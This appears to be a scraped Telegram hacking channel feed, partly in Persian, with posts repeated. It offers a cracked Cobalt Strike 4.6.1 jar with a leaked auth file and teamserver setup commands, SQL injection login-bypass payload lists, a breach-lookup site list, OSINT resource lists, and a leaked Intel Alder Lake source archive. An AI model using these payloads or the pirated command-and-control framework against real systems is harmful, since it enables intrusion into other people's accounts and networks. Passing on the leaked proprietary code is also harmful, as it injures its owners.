cobaltstrike.auth
256 B
#CobaltStrike 4.6.1 official jar + the auth file leaked by #zdl (scammers can be good for something, thanks guys), so this is working.
I'll do the security patch and dark mode if someone doesn't beat me to it no time at the moment.
CLIENT (linux, windows, whatever)
java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike-client.jar
TEAMSERVER (linux only)
sudo apt-get install openjdk-11-jdk
sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"
./TeamServerImage -Dcobaltstrike.server_port=50050 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 teamserver YOURIPADDRESS PASSWORD
I'll do the security patch and dark mode if someone doesn't beat me to it no time at the moment.
CLIENT (linux, windows, whatever)
java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike-client.jar
TEAMSERVER (linux only)
sudo apt-get install openjdk-11-jdk
sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"
./TeamServerImage -Dcobaltstrike.server_port=50050 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 teamserver YOURIPADDRESS PASSWORD
❤2🥰1
OPEN_SOURCE_INTELLIGENCE_NAVIGATOR_FOR_INVESTIGATIVE_JOURNALISTS.pdf
1 MB
📓 OPEN SOURCE INTELLIGENCE NAVIGATOR FOR INVESTIGATIVE JOURNALISTS
Data breach search engine.
1) leak check.
https://leakcheck.io/
2) intel
https://intelx.io
3) leak peek
https://leakpeek.com
4) snusbase
https://snusbase.com/
5) monitor_firefox
https://monitor.firefox.com/
6) haveibeenpwned
https://haveibeenpwned.com/
7) scattered secrets
https://scatteredsecrets.com/
8) amibreached
https://amibreached.com/
9) leak lookup
https://leak-lookup.com/
10) rslookup
https://rslookup.com/terms
1) leak check.
https://leakcheck.io/
2) intel
https://intelx.io
3) leak peek
https://leakpeek.com
4) snusbase
https://snusbase.com/
5) monitor_firefox
https://monitor.firefox.com/
6) haveibeenpwned
https://haveibeenpwned.com/
7) scattered secrets
https://scatteredsecrets.com/
8) amibreached
https://amibreached.com/
9) leak lookup
https://leak-lookup.com/
10) rslookup
https://rslookup.com/terms
❤3🔥1
تحقیقات شرکت ها،سازمان ها و.. فصل اول #اوسینت
• AllStocksLinks
• Better Business Bureau
• Bizeurope
• Bloomberg
• Business Source
• Bureau Van Dijk
• Canadian Business Research
• Canadian Business Resource
• Central and Eastern European Business Directory
• Company Registration Round the World
• Company Research Resources by Country Comparably
• CompeteShark
• Corporate Information
- اطلاعات جمع آوری شده از منابع در دسترس عموم در شرکت های سهامی عام در سراسر جهان.
• CrunchBase
- اطلاعات دقیق در مورد کسب و کارهای راه اندازی شده، با تمرکز خاص بر منابع مالی و روش های تامین مالی مورد استفاده توسط مشاغل خاص.
• Data.com Connect
• EDGAR U.S. Securities and Exchange Commission Filings
- پروندههای کمیسیون بورس و اوراق بهادار ایالات متحده،گزارشهای دورهای و افشای شرکتهای گسترده از همه مشاغلی که به صورت عمومی در ایالات متحده معامله میشوند.
• Europages
• European Business Register
• Ezilon
• Factiva
• Forbes Global 2000
• Glassdoor
• globalEdge
• GuideStar
• Hoovers
• Inc. 5000
• InstantLogoSearch
• iSpionage
• Judyrecords
- جستجوی سراسری بیش از 400 میلیون پرونده قضایی در ایالات متحده.
• Knowledge guide to international company registration
• Linkedin
- پلتفرم رسانه های اجتماعی پر استفاده با تمرکز بر پروفایل های حرفه ای و استخدام. طیف گسترده ای از صنایع را در بر می گیرد. برای جمع آوری اطلاعات در مورد اینکه چه افراد خاصی در یک نهاد فعال هستند بسیار مفید است
• National Company Registers
• Mergent Intellect
• Mergent Online
• Notablist
• Orbis directory
• OpenCorporates
- جستجوی جهانی نهادهای شرکتی ثبت شده و افسران یا سرمایه گذاران فردی مرتبط با آنها.
• OpenOwnership Register
• Overseas Company Registers
• Plunkett Research
• Scoot
• SEMrush
• Serpstat
• SpyFu
• UniCourt
- جستجوی سراسری بیش از 100 میلیون پرونده قضایی ایالات متحده
• Vault
- رتبه بندی معروف بزرگترین شرکت های ایالات متحده.
• Xing
• Caselaw Access Project
- مجموعه ای از متن کامل پرونده های تاریخی (نه به روز) از دادگاه های ایالتی ایالات متحده.
• BrownBook
• CorporationWiki
• GoodFirms
• YouControl
• AllStocksLinks
• Better Business Bureau
• Bizeurope
• Bloomberg
• Business Source
• Bureau Van Dijk
• Canadian Business Research
• Canadian Business Resource
• Central and Eastern European Business Directory
• Company Registration Round the World
• Company Research Resources by Country Comparably
• CompeteShark
• Corporate Information
- اطلاعات جمع آوری شده از منابع در دسترس عموم در شرکت های سهامی عام در سراسر جهان.
• CrunchBase
- اطلاعات دقیق در مورد کسب و کارهای راه اندازی شده، با تمرکز خاص بر منابع مالی و روش های تامین مالی مورد استفاده توسط مشاغل خاص.
• Data.com Connect
• EDGAR U.S. Securities and Exchange Commission Filings
- پروندههای کمیسیون بورس و اوراق بهادار ایالات متحده،گزارشهای دورهای و افشای شرکتهای گسترده از همه مشاغلی که به صورت عمومی در ایالات متحده معامله میشوند.
• Europages
• European Business Register
• Ezilon
• Factiva
• Forbes Global 2000
• Glassdoor
• globalEdge
• GuideStar
• Hoovers
• Inc. 5000
• InstantLogoSearch
• iSpionage
• Judyrecords
- جستجوی سراسری بیش از 400 میلیون پرونده قضایی در ایالات متحده.
• Knowledge guide to international company registration
- پلتفرم رسانه های اجتماعی پر استفاده با تمرکز بر پروفایل های حرفه ای و استخدام. طیف گسترده ای از صنایع را در بر می گیرد. برای جمع آوری اطلاعات در مورد اینکه چه افراد خاصی در یک نهاد فعال هستند بسیار مفید است
• National Company Registers
• Mergent Intellect
• Mergent Online
• Notablist
• Orbis directory
• OpenCorporates
- جستجوی جهانی نهادهای شرکتی ثبت شده و افسران یا سرمایه گذاران فردی مرتبط با آنها.
• OpenOwnership Register
• Overseas Company Registers
• Plunkett Research
• Scoot
• SEMrush
• Serpstat
• SpyFu
• UniCourt
- جستجوی سراسری بیش از 100 میلیون پرونده قضایی ایالات متحده
• Vault
- رتبه بندی معروف بزرگترین شرکت های ایالات متحده.
• Caselaw Access Project
- مجموعه ای از متن کامل پرونده های تاریخی (نه به روز) از دادگاه های ایالتی ایالات متحده.
• BrownBook
• CorporationWiki
• GoodFirms
• YouControl
🔥2❤1👍1
investigatingcryptocurrencies.pdf
18 MB
نیک فورنو
تحقیق در مورد ارزهای دیجیتال
بررسی ارزهای دیجیتال اولین کتابی است که به شرکتها، مجریان قانون و سایر محققین کمک میکند تا مفاهیم فنی و تکنیکهای بررسی جرایم را با استفاده از بلاک چین و ارزهای دیجیتال مرتبط مانند بیتکوین و اتریوم درک کنند.
فناوری های بلاک چین و تراکنش را بشناسید
حسابهای ارزهای دیجیتال را راهاندازی و اجرا کنید
ایجاد اطلاعات در مورد آدرس های خاص
دسترسی به داده های خام در دفتر کل بلاک چین
شناسایی کاربران ارزهای دیجیتال
استخراج داده های ارزهای دیجیتال از رایانه های زنده و تصویری
دنبال پول
تحقیق در مورد ارزهای دیجیتال
بررسی ارزهای دیجیتال اولین کتابی است که به شرکتها، مجریان قانون و سایر محققین کمک میکند تا مفاهیم فنی و تکنیکهای بررسی جرایم را با استفاده از بلاک چین و ارزهای دیجیتال مرتبط مانند بیتکوین و اتریوم درک کنند.
فناوری های بلاک چین و تراکنش را بشناسید
حسابهای ارزهای دیجیتال را راهاندازی و اجرا کنید
ایجاد اطلاعات در مورد آدرس های خاص
دسترسی به داده های خام در دفتر کل بلاک چین
شناسایی کاربران ارزهای دیجیتال
استخراج داده های ارزهای دیجیتال از رایانه های زنده و تصویری
دنبال پول
❤2
یک متخصص #اوسینت یا کارگاه وب وقتی به یک عکس یا ویدئو برخورد می کند برای رسیدن به سر نخ ها این موارد را بررسی می کند:
Original Photo taken from Camera?
is copyrighted?
Has authoring Information?
Contains comments / denoscriptions?
Contains tracking?
Contains faces?
Contains text?
Contains location detalls?
Contains steganography?
Contains digital watermarks?
Contains date/time details?
Has maker note content?
Contains camera device Information?
Has thumbnail(s)?
Contains unreadable metadata?
Traling data appended to photo?
Contains metadata?
Original Photo taken from Camera?
is copyrighted?
Has authoring Information?
Contains comments / denoscriptions?
Contains tracking?
Contains faces?
Contains text?
Contains location detalls?
Contains steganography?
Contains digital watermarks?
Contains date/time details?
Has maker note content?
Contains camera device Information?
Has thumbnail(s)?
Contains unreadable metadata?
Traling data appended to photo?
Contains metadata?
👍3👏2🤔1
Login Bypass 🌵
#SQLi
param='
param="
param=' or 1=1
param=' or 1=0
param=' and 1=1
' or sleep(2) and 1=1#
' or sleep(2)#
admin' and sleep(2)#
' union select sleep(2),null#
' union select sleep(2),null,null,null,null#
Part 1🥶
#SQLi
param='
param="
param=' or 1=1
param=' or 1=0
param=' and 1=1
' or sleep(2) and 1=1#
' or sleep(2)#
admin' and sleep(2)#
' union select sleep(2),null#
' union select sleep(2),null,null,null,null#
Part 1🥶
👏4❤1
CS461DMU.zip
94 MB
Cobaltstrike 4.6.1 with Dark Mode
🔥1
Source Byte
Login Bypass 🌵 #SQLi param=' param=" param=' or 1=1 param=' or 1=0 param=' and 1=1 ' or sleep(2) and 1=1# ' or sleep(2)# admin' and sleep(2)# ' union select sleep(2),null# ' union select sleep(2),null,null,null,null# Part 1🥶
param=' or 1=1#
param=' or 1=1
param=' or 1=1 //
param= or 1=1#
param=and or 1=1#
param=' or 1=1
This is the most classic, standard first test:
' or '1'='1
Then you have:
-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
Part 2 🥶
param=' or 1=1
param=' or 1=1 //
param= or 1=1#
param=and or 1=1#
param=' or 1=1
This is the most classic, standard first test:
' or '1'='1
Then you have:
-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
Part 2 🥶
JSON Crack is a tool that generates graph diagrams from JSON objects
https://github.com/AykutSarac/jsoncrack.com
https://github.com/AykutSarac/jsoncrack.com
❤2
AlderLake_part_1.7z
1.5 GB
The source code of Intel Alder Lake processors has appeared on the web.
Intel has confirmed that some of the source code and internal documentation for Alder Lake has been leaked and clarified that the data from this leak, which has been published in public sources, is genuine.
کد منبع پردازنده های Intel Alder Lake .
اینتل تایید کرده است که برخی از کد منبع و اسناد داخلی Alder Lake به بیرون درز کرده است و اعلام کرده است که داده های این نشت که در منابع عمومی منتشر شده است، واقعی است.
Intel has confirmed that some of the source code and internal documentation for Alder Lake has been leaked and clarified that the data from this leak, which has been published in public sources, is genuine.
کد منبع پردازنده های Intel Alder Lake .
اینتل تایید کرده است که برخی از کد منبع و اسناد داخلی Alder Lake به بیرون درز کرده است و اعلام کرده است که داده های این نشت که در منابع عمومی منتشر شده است، واقعی است.
❤2